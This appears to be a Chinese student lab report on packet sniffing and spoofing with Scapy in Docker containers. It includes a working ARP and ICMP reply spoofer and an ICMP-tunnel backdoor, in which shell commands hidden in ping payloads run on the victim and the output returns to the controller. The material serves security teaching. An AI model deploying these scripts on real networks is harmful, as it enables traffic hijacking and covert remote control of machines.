数据包嗅探和伪造实验¶
实验主题¶
• 数据包嗅探和伪造的工作原理 • 使用 pcap 库和 Scapy 进行包嗅探 • 使用 raw socket 和 Scapy 进行数据包伪造 • 使用 Scapy
实验环境搭建¶
- 使用容器搭建使用环境
使用三个容器作为连接在同一局域网中的三台机器:
- 容器配置与命令介绍:

- 攻击者容器差异介绍:
- 共享文件夹:由于需要将共攻击代码写入攻击者容器内部,但在虚拟机上编辑代码比在容器中更方便,所以在Docker Compose文件中添加了以下条目
将虚拟机中的./volumes文件夹挂载到攻击者容器中的/volumes文件夹,以便于在虚拟机中奖攻击代码写入攻击者容器 - 主机模式:在本实验中,攻击者需要能嗅探到数据包,但桥接模式下每个容器实际上是连接到一台虚拟交换机上,每个容器只能看到自己的流量,而无法看到其他容器间的数据包,因此需要将攻击者容器设置为主机模式
- 获取网络接口名称方法
- 官方提供的Compose文件为实验创建容器时Docker会自动创建一个新的网络用于连接VM和容器,该网络的IP前缀为10.9.0.0/24,分配给VM的ip是10.9.0.1
因此
ifconfig查看所有网络接口找到IP地址为10.9.0.1的接口名即可
- 接口名称是由br-和Docker创建的网络id拼接而成,、
通过
docker network ls查找网络ID
net-10.9.0.0对应的id即使我们需要的,由此可以拼接出网络接口名称br-9c5a85e08f05
实验内容¶
使用Scapy嗅探和伪造数据包¶
- 嗅探包
- 基础嗅探程序
- python文件中【注意执行脚本时要以root身份,使用sudo权限】
在容器B中ping一下容器A
#sniffer.py #!/usr/bin/env python3 from scapy.all import * def handle(pkt): print(pkt.show()) pkt=sniff(iface="br-9c5a85e08f05",count=5,prn=handle)
sniffer.py程序成功嗅探到数据包并输出数据包的详细信息
若不使用root权限:
程序会报错
原因:
嗅探需要创建原始套接字来访问网络数据包
可能需要开启混杂模式
BPF过滤器需要在内核级别设置过滤器
需要权限来查看所有流经网卡的数据包
权限要求对比:

- 命令行交互环境
在容器B中ping一下容器A
成功嗅探到数据包并输出详细信息
- python文件中【注意执行脚本时要以root身份,使用sudo权限】
- 过滤功能嗅探程序
- 只捕获ICMP数据包
- 代码示例:
- 验证:
- 运行该嗅探程序

- 在容器B中用telnet连接容器A
在容器B中发送给容器A的ping包
只功捕获icmp包,而不捕获tcp包,过滤成功
- 运行该嗅探程序
- 只捕获来自某个特定ip且目标端口为23的TCp包
- 代码示例:
- 验证:
- 运行该程序

- 不同的数据包
- 在容器B中用telnet连接服务器A的23端口

- 在容器B中给A发送ping包

- 在容器A中用telnet连接服务器B

- 该程序只嗅探指定的数据包,过滤成功

- 运行该程序
- 只捕获来自或去往某个特定网络的包
- 代码示例:
- 验证:
- 只捕获ICMP数据包
- 伪造ICMP的echo请求包
- 代码示例:
send(IP(dst="10.9.0.5")/ICMP()) - 验证:
- 在目标ip对应的容器中运行tcpdump嗅探eth0网卡中流经的icmp包
sudo tcpdump -i eth0 icmp
- 在vM中运行该程序

- 检查目标ip对应的容器是否嗅探到了我们伪造的icmp包
伪造包发送成功
- 在目标ip对应的容器中运行tcpdump嗅探eth0网卡中流经的icmp包
- Traceroute功能实现
- 实现原理:先将ttl设置为1获得第一跳路由器的IP地址,然后在将ttl设置为2,获得第二跳路由器的IP地址,以此类推直到数据包到达目标ip主机
- 自动化traceroute功能代码示例
icmp
验证: 测试10.9.0.5可以成功
from scapy.all import * def mytraceroute(dest,max_jumps=30): print(f"mytraceroute:->{dest}") for t in range(1,max_jumps+1): #循环30次,每次ttl+1 ip=IP(dst=dest,ttl=t) icmp=ICMP() packet=ip/icmp reply=sr1(packet,timeout=2,verbose=False) if reply is NONE: print(f"{t:2d}:超时") elif reply.type==0: print(f"{t:2d}:{reply.src}到达目标主机") break elif reply.type==11: print(f"{t:2d}:{reply.src}路由器返回") else: print(f"{t:2d}:{reply.src}类型={reply.type}") dest=input("请输入目标ip\n") mytraceroute(dest)
但测试别的不行
不知道为什么一直显示超时 - 嗅探和伪造结合
- 不同情况的工作流程
- 在同一局域网内:
- 目标主机存在,响应源主机发送的ARP请求,源主机收到响应包,知道目标主机的MAC地址后才会向目标主机发生icmp包,spoof程序嗅探到源主机发的icmp包后发送伪造的响应包给源主机
- 目标主机不存在,如果没有主机响应,源主机的ARP请求超时,系统报错Destination Host Unreachable,源主机不会发送icmp包,该情况下spoof需要嗅探源主机的ARP请求,然后伪装成目标主机发送ARP响应给源主机,这样源主机才会接着发送icmp包
- 在不同局域网中 源主机发送ARP请求询问网关的MAC地址,网关响应源主机的ARP请求,源主机收到响应后向网关发送icmp包,spoof程序嗅探到icmp包并伪造
- 在同一局域网内:
- spoof程序的构造要点:
- 嗅探到源主机的ARP请求
- 判断在局域网中是否存在该主机
- 若存在就不发送伪造的ARP响应
- 若不存在就伪造ARP响应使源主机不管局域网中目标主机是否存在都能够发送icmp包
- 嗅探到icmp包
- 伪造icmp响应发送给源主机
- 代码示例:
#spoof.py #!/usr/bin/python3 from scapy.all import * import sys def handle(pkt): if ARP in pkt and pkt[ARP].op==1: fakearp=Ether(dst=pkt[ARP].hwsrc)/ARP(psrc=pkt[ARP].pdst,hwsrc=get_if_hwaddr(conf.iface),pdst=pkt[ARP].psrc,hwdst=pkt[ARP].hwsrc,op=2) sendp(fakearp,iface="br-9c5a85e08f05",verbose=False) print("fakearp sent") elif ICMP in pkt and pkt[ICMP].type==8: print("sniff ok") pkt.summary() payload=pkt[Raw].load if Raw in pkt else b"" rpkt=IP(src=pkt[IP].dst,dst=pkt[IP].src)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/payload send(rpkt,verbose=False) print("send ok") print("sniff start") pkt=sniff(iface="br-9c5a85e08f05",filter="icmp or arp",prn=handle) - 验证:在VM中期待spoof.py程序

- 在用户容器中ping另一个用户容器
成功接收到了spoof程序发的响应包
成功嗅探到了icmp包并成功发送了响应
- 在用户容器中ping互联网上的一个不存在的主机
- 不开启spoof程序时
收到四个地址不可达的响应包 - 开启spoof程序时

- 不开启spoof程序时
- 在用户容器中ping局域网上的一个不存在的主机
- 不开启spoof程序时
收到四个地址不可达的报错 - 开启spoof程序时
收到四个icmp响应包(程序伪造的) - 程序段成功发送伪造的arp响应包和icmp响应包

- 不开启spoof程序时
- 在用户容器中ping互联网上的一个存在的主机
- 不开启spoof程序时
收到四个响应包 - 开启spoof程序时
收到四个正常响应包和三个程序伪造的数据包
- 不开启spoof程序时
- 在用户容器中ping另一个用户容器
使用Scapy实现ICMP隧道¶
- ICMP协议的结构:
type:标识ICMP报文类型,如:8表示Echo Request,0表示Echo Reply
code:进一步细化报文类型
checksum:校验和,用于错误检测
data:可变长的数据字段,是隐蔽通信的主要载体 - ICMP隧道原理:将需要发送的数据编码后放到icmp报文的data字段中,通过发送Echo Request(ping请求)进行传输。接收端接收并解析icmp报文,提取data字段中的内容进行解码就可以获得原始数据
- ICMP隧道的优势:
- 大多数防火墙不会阻断icmp流量
- icmp报文不受端口限制
- 正常的ping流量不易引起怀疑
- ICMP隧道scapy实现的思路
- 控制端程序:运行在攻击者容器中,将命令编码后填入icmp请求报文数据段,发送给受控端,然后从icmp响应中解码执行结果
- 受控端程序:运行在用户容器中,监听icmp请求,从icmp请求报文的数据段解码命令并执行,然后将执行结果填入icmp响应报文数据段返回给控制端
- 控制端代码实现
from scapy.all import * import base64 def outputres(res): output=base64.b64decode(res[Raw].load).decode('utf-8') print(f"执行结果为:{output}") def sendcmd(cmd): payload=base64.b64encode(cmd.encode('utf-8')) pkt=IP(src="10.9.0.1",dst="10.9.0.5")/ICMP(type=8,code=0)/Raw(load=payload) res=sr1(pkt,timeout=2,verbose=False) print("命令已发送") if res and ICMP in res: print("结果已返回") if Raw in res: outputres(res) else: print("返回结果为空") while True: cmd=input("请输入想要执行的命令\n退出程序请输入exit(0)") if cmd =="exit(0)": break else: sendcmd(cmd) - 受控端代码实现
from scapy.all import * import subprocess import base64 def handle(pkt): if ICMP not in pkt: return if pkt[ICMP].type==8 and Raw in pkt: print("icmp数据包已捕获") cmd=base64.b64decode(pkt[Raw].load).decode('utf-8') result=subprocess.run(cmd,shell=True,capture_output=True,text=True) output=result.stdout res=base64.b64encode(output.encode('utf-8')) rpkt=IP(src="10.9.0.5",dst="10.9.0.1")/ICMP(type=0,code=0)/Raw(load=res) send(rpkt,iface="eth0",verbose=0) print("执行结果已发送") print("等待捕获icmp包") pkt=sniff(iface="eth0",filter="icmp",prn=handle) - 通信验证
- 屏蔽系统内核的自动回复:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
使用 iptables 丢弃内核回包
- 运行受控端程序

- 运行控制端程序
输入要执行的命令
成功 - wireshark抓包分析
非常完美的捕获了两个ARP包和两个ICMP包- 查看Echo Request请求包的详细内容
就是我们输入的pwd进行base64编码的结果
实验总结¶
- 踩坑
- 在任务1.4中发送伪造的ARP响应包时要指定接口不然默认的接口可能不是br-9c5a85e08f05,导致源主机收不到我们伪造的ARP响应包从而超时报错无法发送icmp包
- 在任务2中注意必须先屏蔽内核的自动回复让内核忽略所有 ICMP Echo 请求
sysctl -w net.ipv4.icmp_echo_ignore_all=1使用 iptables 丢弃内核回包iptables -A OUTPUT -p icmp --icmp-type echo-reply -j DROP,不然控制端收到的就是受控端内核默认返回的数据包而不是程序发送的数据包
就会导致不返回命令执行结果而将命令原样返回 - 任务2中在控制端输入ls,pwd,whoami,id都可以,但是输入ls -la时受控端就会报错退出程序:
推测原因:网络包的 IP 分片(Fragmentation)机制
现象:
ls 等短命令:输出内容少,Base64 编码后的数据量很小(远小于 MTU 1500 字节)。网络栈将其作为一个完整的包发送。
ls -la 等长命令:如果目录下文件较多,输出内容很长。Base64 编码(体积增加约 33%)后,数据包总长度极大概率超过了以太网 MTU(1500 字节)。
IP 分片发生:Linux 内核在网络层会自动将这个大包切分成多个“分片(Fragments)”发送。
第一个分片:包含 IP 头 + ICMP 头 + 部分数据。
后续分片:只包含 IP 头 + 剩余数据(没有 ICMP 头)。
捕获到非法包:你的 sniff 函数捕获到了你自己发出的后续分片包(在容器或特定网络环境下,Sniff 常能捕获本机发出的流量)。
崩溃:当 handle 处理后续分片时,执行 pkt[ICMP],因为该包没有 ICMP 层,Scapy 直接抛出报错导致程序崩溃,所以在程序中加入一些防御性检查
修正:
验证:
这下就可以成功执行ls -la,返回结果而且不报错退出 - 问题与思考
- 为什么任务1.4验证1中用户容器发了四个ping包,收到了4个正常响应,却只收到了3个程序发送的响应

- 为什么
traceroute www.baidu.com全部显示超时
但traceroute -I www.baidu.com中间节点全都显示超时但可以显示最终到达的ip地址
用自己写的traceroute程序也全部显示超时
可能的原因:traceroute默认使用UDP协议,目标端口33434-33534
当使用traceroute -I www.baidu.comicmp协议时
- 任务2中将命令填入data段时为什么不用考虑字节序问题
原因:数据是逐字节存储和输入的字节序只影响多字节数值类型如:整数(2字节,4字节,8字节),浮点数等字符串/字节数组没有字节序问题

- 知识点
- 网络/主机字节序与转换
网络字节序采用大端格式,X86CPU主机采用小段格式,无论数据是放入包缓冲区还是其他地方都需要采用大端序,否则构造的包是不正确的
字节序转换函数:
- htonl():将主机字节序的无符号整数转换为网络字节序
- ntohl():htonl的逆过程
- htons():将主机字节序的无符号短整数转换为网络字节序
- ntohs():htons的逆操作
- Scapy
- 简介:一个交互式数据包操作工具,可以用作python库也可以作为命令行交互环境使用
- 核心能力:
- 数据包嗅探(Sniffing)
- 数据包构造与伪造(Spoofing)
- 数据包发送与接收
- 协议解析与分析
- 网络扫描与探测
- PCAP文件读写
- 数据包构造
- 基本构造方法:
- 使用分层构造的方式构造数据包,使用
/运算符将各层连接起来 - 示例:
- 验证:
vim demo.pysudo ./demo.py
- 使用分层构造的方式构造数据包,使用
- 查看协议字段:
- 使用
ls(IP)查看ip层的所有字段 - 使用
ls(ICMP)查看icmp层的所有字段 - 使用
ls(TCP)查看tcp层的所有字段
- 使用
- 设置字段值
- 方式一:构造时指定
ip=IP(src="192.168.2.217",dst="8.8.8.8"),ttl=64 - 方式二:创建后修改
- 方式一:构造时指定
- 批量构造数据包
- 使用扫描多个目标范围构造
- 使用掩码构造
- 使用范围运算符
- 基本构造方法:
- 数据包嗅探
- 基本嗅探:sniff()函数示例
- 最简单的嗅探
- 指定接口
- 使用过滤器(BPF语法) ```python packet=sniff(filter="icmp",iface="eth0",count=5) #指定嗅探的数据包类型为icmp,指定嗅探的接口为eth0,指定嗅探数量为5
- 带回调函数 ```python def handle_packet(pkt): print(pkt.summary()) #定义一个用于输出包信息的回调函数 sniff(prn=handle_packet,filter="tcp",count=5) #指定嗅探的数据包类型为tcp,指定嗅探数量为5,指定每嗅探到一个数据包都执行一次回调函数handle_pkt
- sniff()函数参数详解
- count:嗅探数量
count=5 - prn:回调函数
prn=handle_pkt - fliter:BPF过滤表达式
filter="icmp and host 10.9.0.5" - iface:嗅探的网络接口名
iface=eth0 - timeout:超时时间(秒)
timeout=10 - offline:指定从PCAP文件读取数据包
offline="文件名.pcap"
- count:嗅探数量
- BPF过滤器示例 ```python sniff(filter="ip") #只捕获ip数据包 sniffer(filter="tcp and src host 10.9.0.5 and dst port 80") #只捕获来自10.9.0.5主机,目的端口为80的tcp数据包 sniff(filter="net 10.9.0.0/24") #只捕获来自或发往特定网络的数据包 sniff(filter="(arp and tcp) and host 10.9.0.1") #只捕获主机10.9.0.1的tcp或arp数据包
- 高级嗅探示例:
sniff(filter="icmp",prn=lambda x:x.sprintf("{IP:%IP.src%->%IP.dst%\n}{RAW:%RAW.load%\n}")) #字符串格式化输出数据包中的指定内容 sniff(offline="file.pcap",fliter="icmp") #从文件中离线嗅探icmp类型的数据包 class PackerHandler: def __init__(self): self.count=0 def handle(self,pkt): self.count+=1 print(self.count+pkt.summary()) handle=PacketHandler() sniff(filter="icmp",prn=handle.handle,count=5) #自定义回调函数类
- 基本嗅探:sniff()函数示例
- 数据包发送
- 发送函数对比
send()作用于第三层(ip)快速发送不等待回复sendp()作用于第二层(以太网)需要指定mac地址是使用sr()作用于第三层,发送病接收所有回复sr1()作用于第三层,发送并只接收第一个回复srp()作用于第二层,发送并接收所有回复srloop()作用于第三层,循环发送并持续接收
- 基本发送示例
```python
send(IP(dst="10.9.0.1")/ICMP())
#三层发送无需等待回复
packet=Ether(dst="aa
cc:dd:ee:ff")/ARP(pdst="10.9.0.0/24") sendp(packet) #二层发送,指定目的mac地址 ans,unans=sr(IP(dst="10.9.0.1")) ans.summary() #发送并等待回复 reply=sr1(IP(dst="10.9.0.1"),timeout=2) if reply: reply.show() #发送并只等待第一个回复
- 处理回复示例:
- 发送函数对比
- PCAP文件操作
- 读取PCAP文件
- 写入PCAP文件 ```python wrpcap("capture.pcap") #写入文件 wrpcap("capture.pcap",packets,append=ture) #追加写入
- 数据包分析
- 随机化与模糊测试
- 随机数生成:spacy提供了随机化功能用于模糊测试和扫描
from scapy.all import RandInt,RandShort,RandIP,RandNum src=RandInt() #32位随机整数 port=RandShort() #16位随机整数 ip=RandIP("10.9.0.0/24") #随机ip sport=RandNum(30000,30010)#指定范围生成随机数 pkt=IP(src=RandIP("10.9.0.0/24"),dst="10.9.0.1")/TCP(sport=RandShort(),dport=RandNum(30000,30010))#在包中使用随机数
- fuzz()模糊测试:fuzz()函数会随机化协议字段的值(但保留关键字段如校验和)
#模糊测试TCP包 fuzzed=fuzz(TCP()) send(IP(dst="10.9.0.1")/fuzzed) #模糊测试自定义包 pkt=IP(dst="10.9.0.1")/fuzz(ICMP()) send(pkt)

- 随机数生成:spacy提供了随机化功能用于模糊测试和扫描
- 常用函数速查表:

- traceroot
- 定义:网络诊断工具,用于追踪数据包从源主机到目标主机经过的路径,显示每一跳的IP地址和响应时间
- 示例:

- 工作原理:
- 核心机制:ip头部有应该字段TTL(8位,范围1-255),表示数据包最多能经过多少跳
- 工作流程:
- 核心机制:ip头部有应该字段TTL(8位,范围1-255),表示数据包最多能经过多少跳
- 容器的主机模式vs桥接模式
- 背景:Docker的网络配置中默认使用桥接模式,每个容器都有自己独立的网络命名空间,每个容器都只能看到自己的流量,无法嗅探其他容器之间的数据包
- 主机模式:
- 工作原理:

- 关键特性:
- 共享网络命名空间:容器与主机具有相同的IP地址,网络接口,路由表,iptables规则
- ip地址与主机相同
- 访问所有网络接口:在主机模式中容器可以看到所有主机的网络接口
- 嗅探能力:主机模式中容器可以捕获所有刘静主机网卡的流量包括
- 流经主机中其他容器的流量
- 流经主机自身的流量
- 局域网中的广播包
- 工作原理:
- 主机模式vs桥接模式:
- 特性差异:

- 可视化对比:
- 特性差异:
- 实验验证
1. 模式配置:
2. 模式特性验证:
1. 网络命名空间:
1. 在主机中查看主机的网络命名空间
sudo ls -la /proc/1/ns/net
2. 在主机中查看主机模式容器的网络命名空间
dockps找到运行的容器的id
docker inspect -f '{{.State.Pid}}' 14b8ee336f79找出主机模式容器的pid
sudo ls -la /proc/主机模式容器的pid/ns/net
与主机的命名空间相同
3. 在主机中查看桥接模式容器的网络命名空间
与上面的方法相同,不在赘述
与主机的命名空间不同
2. IP地址:
1. 在主机中查看主机的ip
2. 进入主机模式容器查看ip地址
与主机相同
3. 进入桥接模式容器查看IP地址
与主机不同
3. 访问网络接口: 1. 查看主机所有网络接口
2. 进入主机模式容器查看所有网络接口
与主机相同,能够访问所有网络接口
3. 进入桥接模式容器查看所有网络接口
与主机不同,只能访问自己的虚拟接口

